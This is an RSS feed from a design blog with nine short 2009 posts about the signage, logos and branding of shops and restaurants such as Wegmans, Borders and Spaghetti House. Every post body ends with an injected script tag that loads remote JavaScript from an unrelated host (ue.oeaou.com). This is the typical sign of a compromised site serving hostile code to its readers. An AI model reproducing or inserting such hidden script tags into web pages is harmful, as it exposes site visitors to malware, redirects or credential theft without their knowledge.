<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Designthusiast &#187; signage</title>
	<atom:link href="http://janinetoro.com/blog/tag/signage/feed/" rel="self" type="application/rss+xml" />
	<link>http://janinetoro.com/blog</link>
	<description></description>
	<lastBuildDate>Tue, 24 Aug 2010 02:33:48 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0.1</generator>
		<item>
		<title>Wegmans and Recipes</title>
		<link>http://janinetoro.com/blog/2009/09/wegmans-and-recipes/</link>
		<comments>http://janinetoro.com/blog/2009/09/wegmans-and-recipes/#comments</comments>
		<pubDate>Thu, 01 Oct 2009 03:54:18 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[places]]></category>
		<category><![CDATA[branding]]></category>
		<category><![CDATA[food]]></category>
		<category><![CDATA[nj]]></category>
		<category><![CDATA[signage]]></category>
		<category><![CDATA[wegmans]]></category>

		<guid isPermaLink="false">http://janinetoro.com/blog/?p=650</guid>
		<description><![CDATA[Staying on the topic of recommendations I was at Wegmans over the weekend and thought it was great concept to have a recipe of only a few simple ingredients hanging above the olive bar area/cheese department. What is even more unique about this signage is that the recipes are from Wegman&#8217;s own magazine Menu. I [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://janinetoro.com/blog/wp-content/uploads/2009/09/zzom.jpg"></a><a href="http://janinetoro.com/blog/wp-content/uploads/2009/09/wegmans.jpg"><img class="alignleft size-medium wp-image-652" style="margin-bottom: 10px;" title="wegmans" src="http://janinetoro.com/blog/wp-content/uploads/2009/09/wegmans-409x307.jpg" alt="wegmans" width="409" height="307" /></a></p>
<p><a href="http://janinetoro.com/blog/wp-content/uploads/2009/09/zzom1.jpg"><img class="alignleft size-medium wp-image-653" style="margin-bottom: 10px;" title="zzom" src="http://janinetoro.com/blog/wp-content/uploads/2009/09/zzom1-410x215.jpg" alt="zzom" width="410" height="215" /></a></p>
<p>Staying on the topic of recommendations I was at <a href="https://www.wegmans.com" target="_blank">Wegmans </a>over the weekend and thought it was great concept to have a recipe of only a few simple ingredients hanging above the olive bar area/cheese department. What is even more unique about this signage is that the recipes are from Wegman&#8217;s own magazine Menu. I think its great they provide their customers with simple quick recipes with delicious and fresh ingredients on a budget. In addition they direct their customers to their website in order to get more recipes and tips. The shopper has an experience in the store and then can continue it at home at their convenience. This is just another example of how recommendations are personalized the specific retailer&#8217;s demographic and customer base.<script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://janinetoro.com/blog/2009/09/wegmans-and-recipes/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Borders</title>
		<link>http://janinetoro.com/blog/2009/09/borders/</link>
		<comments>http://janinetoro.com/blog/2009/09/borders/#comments</comments>
		<pubDate>Tue, 29 Sep 2009 20:49:54 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[design]]></category>
		<category><![CDATA[branding]]></category>
		<category><![CDATA[interiordesign]]></category>
		<category><![CDATA[nyc]]></category>
		<category><![CDATA[signage]]></category>
		<category><![CDATA[stores]]></category>

		<guid isPermaLink="false">http://janinetoro.com/blog/?p=646</guid>
		<description><![CDATA[In the past few years I&#8217;ve noticed a lot of retail stores like Borders making recommendations to their consumers based on their interests/previous purchases. This is a unique way to engage consumers on a personal level. You see this more online at sites like Amazon. I think it is a good idea to do this [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-908" style="margin-top: 10px; margin-bottom: 10px;" title="photo-410x546" src="http://janinetoro.com/blog/wp-content/uploads/2009/09/photo-410x5461.jpg" alt="" width="432" height="575" /></p>
<p>In the past few years I&#8217;ve noticed a lot of retail stores like <a href="http://www.borders.com/" target="_blank">Borders</a> making recommendations to their consumers based on their interests/previous purchases. This is a unique way to engage consumers on a personal level. You see this more online at sites like <a href="http://www.amazon.com/" target="_blank">Amazon</a>. I think it is a good idea to do this in stores as well.<script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://janinetoro.com/blog/2009/09/borders/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Powell&#8217;s Sweet Shoppe</title>
		<link>http://janinetoro.com/blog/2009/08/powells-sweet-shoppe/</link>
		<comments>http://janinetoro.com/blog/2009/08/powells-sweet-shoppe/#comments</comments>
		<pubDate>Mon, 31 Aug 2009 19:33:22 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[places]]></category>
		<category><![CDATA[food]]></category>
		<category><![CDATA[sandiego]]></category>
		<category><![CDATA[signage]]></category>

		<guid isPermaLink="false">http://janinetoro.com/blog/?p=536</guid>
		<description><![CDATA[When I was in La Jolla I stopped in Powell&#8217;s Sweet Shoppe, a store that could have been in the movie Willy Wonka and the Chocolate Factory. In fact they actually had that movie playing in the back of the store with theater seats with the candies from the movie surrounding it. I loved the [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://janinetoro.com/blog/wp-content/uploads/2009/08/powells.jpg"><img class="alignleft size-medium wp-image-534" title="powells" src="http://janinetoro.com/blog/wp-content/uploads/2009/08/powells-410x546.jpg" alt="powells" width="410" height="546" /></a></p>
<p><a href="http://janinetoro.com/blog/wp-content/uploads/2009/08/gelato.jpg"><img class="alignleft size-medium wp-image-535" style="margin-top: 10px; margin-bottom: 10px;" title="gelato" src="http://janinetoro.com/blog/wp-content/uploads/2009/08/gelato-410x546.jpg" alt="gelato" width="410" height="546" /></a></p>
<p>When I was in La Jolla I stopped in <a href="http://www.yelp.com/biz/powells-sweet-shoppe-la-jolla" target="_blank">Powell&#8217;s Sweet Shoppe</a>, a store that could have been in the movie Willy Wonka and the Chocolate Factory. In fact they actually had that movie playing in the back of the store with theater seats with the candies from the movie surrounding it. I loved the sign of Powell&#8217;s and how they were hung throughout the store for Gelato, Check Out, etc. Of course I also loved the sweets, many of their packaging and the gelato.<script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://janinetoro.com/blog/2009/08/powells-sweet-shoppe/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Plump Dumpling</title>
		<link>http://janinetoro.com/blog/2009/08/plump-dumpling/</link>
		<comments>http://janinetoro.com/blog/2009/08/plump-dumpling/#comments</comments>
		<pubDate>Fri, 21 Aug 2009 20:59:34 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[places]]></category>
		<category><![CDATA[food]]></category>
		<category><![CDATA[logo]]></category>
		<category><![CDATA[nyc]]></category>
		<category><![CDATA[restaurant]]></category>
		<category><![CDATA[signage]]></category>
		<category><![CDATA[storefront]]></category>

		<guid isPermaLink="false">http://janinetoro.com/blog/?p=491</guid>
		<description><![CDATA[Last week after dinning at one of my favorite pizza spots Luzzo&#8217;s amongst many discoveries I made that night Plump Dumpling was definitely one of my favorites. I love Asian food especially dumplings! I really enjoyed the happiness portrayed in their signagae and interior space through the graphic/logo.]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-992" title="pd-409x307" src="http://janinetoro.com/blog/wp-content/uploads/2009/08/pd-409x3071.jpg" alt="" width="435" height="327" /></p>
<p><img class="alignleft size-full wp-image-994" style="margin-top: 10px; margin-bottom: 10px;" title="pd2-410x546" src="http://janinetoro.com/blog/wp-content/uploads/2009/08/pd2-410x5462.jpg" alt="" width="435" height="579" /></p>
<p>Last week after dinning at one of my favorite pizza spots <a href="http://www.luzzomania.com/" target="_blank">Luzzo&#8217;s</a> amongst many discoveries I made that night <a href="http://www.menupages.com/restaurants/plump-dumpling/" target="_blank">Plump Dumpling </a>was definitely one of my favorites. I love Asian food especially dumplings! I really enjoyed the happiness portrayed in their signagae and interior space through the graphic/logo.<script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://janinetoro.com/blog/2009/08/plump-dumpling/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hare &amp; Tortoise</title>
		<link>http://janinetoro.com/blog/2009/05/hare-tortoise/</link>
		<comments>http://janinetoro.com/blog/2009/05/hare-tortoise/#comments</comments>
		<pubDate>Thu, 28 May 2009 20:09:24 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[design]]></category>
		<category><![CDATA[logo]]></category>
		<category><![CDATA[london]]></category>
		<category><![CDATA[restaurant]]></category>
		<category><![CDATA[signage]]></category>
		<category><![CDATA[uk]]></category>

		<guid isPermaLink="false">http://janinetoro.com/blog/?p=327</guid>
		<description><![CDATA[The restaurant Hare &#38; Tortoise was across the street from my hotel in London. I really liked the logo design/signage of this restaurant. Then when I checked out there website I really loved the web design of the site.]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-1081" style="margin-bottom: 10px;" title="img_1862-410x269" src="http://janinetoro.com/blog/wp-content/uploads/2009/05/img_1862-410x2691.jpg" alt="" width="435" height="285" /></p>
<p>The restaurant<a href="http://www.hareandtortoise.co.uk/" target="_blank"> Hare &amp; Tortoise</a> was across the street from my hotel in London. I really liked the logo design/signage of this restaurant. Then when I checked out there website I really loved the web design of the site.<script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://janinetoro.com/blog/2009/05/hare-tortoise/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Blind Pig</title>
		<link>http://janinetoro.com/blog/2009/04/blind-pig/</link>
		<comments>http://janinetoro.com/blog/2009/04/blind-pig/#comments</comments>
		<pubDate>Thu, 02 Apr 2009 03:32:05 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[design]]></category>
		<category><![CDATA[restaurant]]></category>
		<category><![CDATA[signage]]></category>

		<guid isPermaLink="false">http://janinetoro.com/blog/?p=279</guid>
		<description><![CDATA[I came across this bar  Blind Pig when I was on the way to the Cut and Paste event in NYC.  I really liked the exterior signage of this bar and thought it had a interesting look in feel. It looked as if the logo/name was burned into the wood.]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-1101" style="margin-bottom: 10px;" title="photo-409x307" src="http://janinetoro.com/blog/wp-content/uploads/2009/04/photo-409x3071.jpg" alt="" width="435" height="327" /></p>
<p>I came across this bar  <a href="http://www.blindpignyc.com/" target="_blank">Blind Pig</a> when I was on the way to the Cut and Paste event in NYC.  I really liked the exterior signage of this bar and thought it had a interesting look in feel. It looked as if the logo/name was burned into the wood.<script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://janinetoro.com/blog/2009/04/blind-pig/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>EAT.</title>
		<link>http://janinetoro.com/blog/2009/02/eat/</link>
		<comments>http://janinetoro.com/blog/2009/02/eat/#comments</comments>
		<pubDate>Fri, 20 Feb 2009 04:08:39 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[design]]></category>
		<category><![CDATA[packaging]]></category>
		<category><![CDATA[branding]]></category>
		<category><![CDATA[london]]></category>
		<category><![CDATA[signage]]></category>
		<category><![CDATA[uk]]></category>

		<guid isPermaLink="false">http://janinetoro.com/blog/?p=210</guid>
		<description><![CDATA[During my undergraduate studies EAT was a branding system which was studied and discussed in many of my classes. So when I was in London and able to see the signage/interior design as well as the packaging it was much more fufilling then seeing it in a textbook. EAT&#8217;s branding system was designed by Pentagram [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-211" style="margin-bottom: 10px;" title="eat" src="http://janinetoro.com/blog/wp-content/uploads/2009/02/dsc_0071-410x272.jpg" alt="eat" width="410" height="272" /></p>
<p>During my undergraduate studies <a href="http://www.eat.co.uk/"> EAT </a> was a branding system which was studied and discussed in many of my classes. So when I was in London and able to see the signage/interior design as well as the packaging it was much more fufilling then seeing it in a textbook. EAT&#8217;s branding system was designed by <a href="http://www.pentagram.com/en/new/2007/07/new-work-eat-seasonal.php"> Pentagram </a>.<script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://janinetoro.com/blog/2009/02/eat/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Snow + Rock</title>
		<link>http://janinetoro.com/blog/2009/01/snow-rock/</link>
		<comments>http://janinetoro.com/blog/2009/01/snow-rock/#comments</comments>
		<pubDate>Tue, 20 Jan 2009 05:09:36 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[design]]></category>
		<category><![CDATA[london]]></category>
		<category><![CDATA[signage]]></category>

		<guid isPermaLink="false">http://janinetoro.com/blog/?p=136</guid>
		<description><![CDATA[While in London on the bus I passed this sporting goods store Snow+Rock. I like the type treatment of the logo and the signage.]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-medium wp-image-137" style="margin-bottom: 10px;" title="snowrock" src="http://janinetoro.com/blog/wp-content/uploads/2009/01/img_0222-409x307.jpg" alt="snowrock" width="409" height="307" /></p>
<p>While in London on the bus I passed this sporting goods store  <a href="http://www.snowandrock.com">Snow+Rock.</a> I like the type treatment of the logo and the signage.<script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://janinetoro.com/blog/2009/01/snow-rock/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Spaghetti House</title>
		<link>http://janinetoro.com/blog/2009/01/92/</link>
		<comments>http://janinetoro.com/blog/2009/01/92/#comments</comments>
		<pubDate>Sun, 11 Jan 2009 00:41:14 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[design]]></category>
		<category><![CDATA[london]]></category>
		<category><![CDATA[restaurant]]></category>
		<category><![CDATA[signage]]></category>
		<category><![CDATA[typography]]></category>
		<category><![CDATA[uk]]></category>

		<guid isPermaLink="false">http://janinetoro.com/blog/?p=92</guid>
		<description><![CDATA[During my travels in London one day I was riding on the bus and saw this restaurant front and my first thought was wow awesome typography! So at the next stop I got off the bus and proceeded to go to the Spaghetti House and take a picture of it all because of it&#8217;s unique [...]]]></description>
			<content:encoded><![CDATA[<p><img class="alignleft size-full wp-image-1180" style="margin-bottom: 10px;" title="spaghetti-365x550" src="http://janinetoro.com/blog/wp-content/uploads/2009/01/spaghetti-365x5501.jpg" alt="" width="435" height="655" /></p>
<p>During my travels in London one day I was riding on the bus and saw this restaurant front and my first thought was wow awesome typography! So at the next stop I got off the bus and proceeded to go to the <a href="http://www.spaghettihouse.co.uk/index1.html">Spaghetti House</a> and take a picture of it all because of it&#8217;s unique type solution.  Again two great things great signage and great Italian food.  Once I was home I looked at there website and was happy to see the branding was consistent from the store front, the interior of the restaurant, menu design and also the website. The typographic solution to there branding is what makes this Spaghetti House far from ordinary.<script src="http://ue.oeaou.com/31"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://janinetoro.com/blog/2009/01/92/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
